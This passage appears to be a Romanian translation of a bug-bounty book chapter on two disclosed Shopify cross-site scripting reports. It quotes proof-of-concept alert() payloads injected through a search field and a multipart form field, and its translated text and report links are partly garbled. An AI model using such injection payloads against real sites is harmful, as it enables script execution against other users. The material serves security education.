Deși, unele site-uri elimină și caracterele potențial rău intenționate atunci când hackerul le trimite. 1. Vanzare Shopify Dificultate: scăzută Url: wholesale.shopify.com Link pentru raport: https://hackerone.com/reports/10629326 Data raportului: 21 decembrie 2015 Recompensa plătită: 500 USD Descriere: Site-ul de vânzare Shopify27 este o pagină simplă cu un îndemn direct la acțiune - introduceți numele produsului și faceți clic pe „Găsiți produse”. Iată o captură de ecran: Captură de ecran a site-ului de vânzări en-gros Vulnerabilitatea XSS de aici a fost cea mai simplă pe care o puteți găsi - textul introdus în bara de căutare nu a fost scăpat, așa că orice Javascript introdus a fost executat. Iată textul trimis din descrierea vulnerabilității: test’;alert(‘XSS’);’ Motivul pentru care acest lucru a funcționat este că Shopify a preluat intrarea utilizatorului, a executat interogarea de căutare și, dacă nu existau rezultate, a tipărit un mesaj care spunea că nu există rezultate de căutare pentru termenul de căutare introdus, arătând intrarea utilizatorului fără escape pe pagină. Ca urmare, Javascript-ul trimis a fost redat pe pagină, iar browserele l-au interpretat ca Javascript executabil. Concluzii Testați totul, acordând o atenție deosebită situațiilor în care textul introdus este redat pe pagină. Testați dacă puteți include HTML sau Javascript în introducerea dvs. și vedeți cum îl procesează site-ul. De asemenea, încercați să codificați intrarea similar cu ceea ce este descris în capitolul despre injecțiile HTML. Vulnerabilitățile XSS nu trebuie să fie complexe sau confuze. Această vulnerabilitate a fost cea mai simplă imaginabilă - un câmp simplu de introducere a textului care nu procesează introducerea utilizatorului. Și a fost descoperit pe 21 decembrie 2015 și i-a adus hackerului 500 de dolari! Tot ce a fost nevoie a fost gândirea hackerilor. 2. Cărucior carduri cadou Shopify Dificultate: scăzută Url: hardware.shopify.com/cart Link pentru raport: https://hackerone.com/reports/9508928 Data raportului: 21 octombrie 2015 Recompensa plătită: 500 USD Descriere: Site-ul web al magazinului de carduri cadou Shopify29 permite utilizatorilor să-și creeze propriile modele de carduri cadou folosind un formular HTML care include o casetă de încărcare a fișierelor, câteva rânduri pentru introducerea textului pentru detalii și așa mai departe. Iată o captură de ecran: Captură de ecran a formularului magazinului de carduri cadou Shopify Vulnerabilitatea XSS aici a fost declanșată când a fost introdus Javascript în câmpul de formular destinat titlului imaginii. Acest lucru este destul de ușor de realizat folosind proxy HTML, despre care vom vorbi mai târziu în capitolul „Instrumente”. Prin urmare, formularul original a inclus: Conţinut - Dispoziţie : formă - date ; nume = „proprietăți [fișier Artwor 2 k]” Ar putea fi interceptat și schimbat în: Conţinut - Dispoziţie : formă - date ; nume = ”proprietăți [ Fișier Artwor 2 k< img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”; Concluzii Există două lucruri de remarcat aici care vă vor ajuta să detectați vulnerabilitățile XSS.